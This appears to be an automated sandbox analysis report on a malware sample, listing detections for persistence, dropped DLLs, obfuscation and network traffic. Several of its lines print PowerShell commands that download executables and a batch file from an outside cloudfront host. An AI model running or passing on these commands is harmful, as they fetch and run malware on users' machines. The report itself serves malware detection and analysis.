Source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, LHMFCLLKPJPNLPEMOOMPKGFGGJLDMBDEHOHN.cs .Net Code: Type.GetTypeFromHandle(JJNAIKHKCKDDPOIGLAJBAGMGGMHCALFHCLGE.LNDLDDEEPFKHJPPDGFFJPKNBBHJGABJMBCCA(16777510)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(JJNAIKHKCKDDPOIGLAJBAGMGGMHCALFHCLGE.LNDLDDEEPFKHJPPDGFFJPKNBBHJGABJMBCCA(16777270)),Type.GetTypeFromHandle(JJNAIKHKCKDDPOIGLAJBAGMGGMHCALFHCLGE.LNDLDDEEPFKHJPPDGFFJPKNBBHJGABJMBCCA(16777349))})
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')" Jump to behavior
Binary contains a suspicious time stamp
Source: BIT1926.tmp.11.dr Static PE information: 0xEC3B20ED [Thu Aug 4 12:07:09 2095 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 10_2_00416240
PE file contains an invalid checksum
Source: relay.dll.15.dr Static PE information: real checksum: 0x18dd31 should be: 0x1877ea
Source: i1.exe.4.dr Static PE information: real checksum: 0x75089 should be: 0x7508b
Source: INetC.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x69a0
Source: ejfydkiwv.16.dr Static PE information: real checksum: 0x0 should be: 0xc411c
Source: JlvRdFpwOD.exe Static PE information: real checksum: 0x0 should be: 0x14f39
Source: relay.dll.5.dr Static PE information: real checksum: 0x18dd31 should be: 0x1877ea
PE file contains sections with non-standard names
Source: u5o8.3.exe.5.dr Static PE information: section name: .didata
Source: freebl3.dll.10.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr Static PE information: section name: .didat
Source: nss3.dll.10.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0042786C push ecx; ret 5_2_0042787C
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0042780C push eax; ret 5_2_0042782A
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0042E3A5 push esi; ret 5_2_0042E3AE
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00409D06 push ecx; ret 5_2_00409D19
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_004097B6 push ecx; ret 5_2_004097C9
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0E108 push ecx; iretd 5_2_01C0E10E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0F921 pushad ; retf 5_2_01C0F928
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0D073 pushad ; retf 5_2_01C0D074
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C11393 push ebp; iretd 5_2_01C113C6
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0FF31 push 00000061h; retf 5_2_01C0FF39
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0F60B push 2B991403h; ret 5_2_01C0F612
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035B1B72 push dword ptr [esp+ecx-75h]; iretd 5_2_035B1B76
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035AC3FF push esp; retf 5_2_035AC407
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035B7A73 push eax; ret 5_2_035B7A91
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_03599A1D push ecx; ret 5_2_03599A30
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_035AC9FD push esp; retf 5_2_035AC9FE
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_03599F6D push ecx; ret 5_2_03599F80
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_004176C5 push ecx; ret 10_2_004176D8
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B36B536 push ecx; ret 10_2_6B36B549
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00D0FAB6 push ecx; ret 15_2_00D0FAC9
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00D0FB55 push ecx; ret 15_2_00D0FB68
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BC0F0B push 8B00D7D1h; retf 15_2_00BC0F10
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C7247D9 push ecx; ret 15_2_6C7247EC
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C726365 push ecx; ret 15_2_6C726378
Source: ejfydkiwv.16.dr Static PE information: section name: .text entropy: 6.816444465715168

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')" Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\i1.exe File created: C:\Users\user\AppData\Local\Temp\u5o8.2\relay.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\System32\svchost.exe File created: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\System32\svchost.exe File created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe File created: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ejfydkiwv Jump to dropped file
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe File created: C:\Users\user\AppData\Local\Temp\nsl17D4.tmp\INetC.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe File created: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe File created: C:\Users\user\AppData\Local\Temp\u5o8.2\UIxMarketPlugin.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\i1.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe File created: C:\Users\user\AppData\Roaming\SecureClient\relay.dll Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe File created: C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe File created: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ejfydkiwv Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe File created: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\svchost.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2AEA.tmp
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\iolo Applications
Stores files to the Windows start menu directory
Source: C:\Windows\System32\svchost.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2AEA.tmp

Hooking and other Techniques for Hiding and Protection
barindex
Found hidden mapped module (file has been removed from disk)
Source: C:\Windows\SysWOW64\cmd.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\EJFYDKIWV
Source: C:\Windows\SysWOW64\cmd.exe Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\NCGDCBNVVKPIWR
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 49792 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49819 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49819
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 49821 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49821
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 49831 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 49832 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 49836 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49836
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49839
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 49842 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49842
Source: unknown Network traffic detected: HTTP traffic on port 49843 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 49844 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 49845 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49845
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49849
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 49851 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49851
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 49854 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49854
Source: unknown Network traffic detected: HTTP traffic on port 49855 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49855
Source: unknown Network traffic detected: HTTP traffic on port 49856 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49856
Source: unknown Network traffic detected: HTTP traffic on port 49857 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49857
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 49859 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49859
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 49862 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49862
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 49865 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49865
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49866
Source: unknown Network traffic detected: HTTP traffic on port 49867 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49867
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 9000
Source: unknown Network traffic detected: HTTP traffic on port 9000 -> 49869
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_00408761 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 5_2_00408761
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
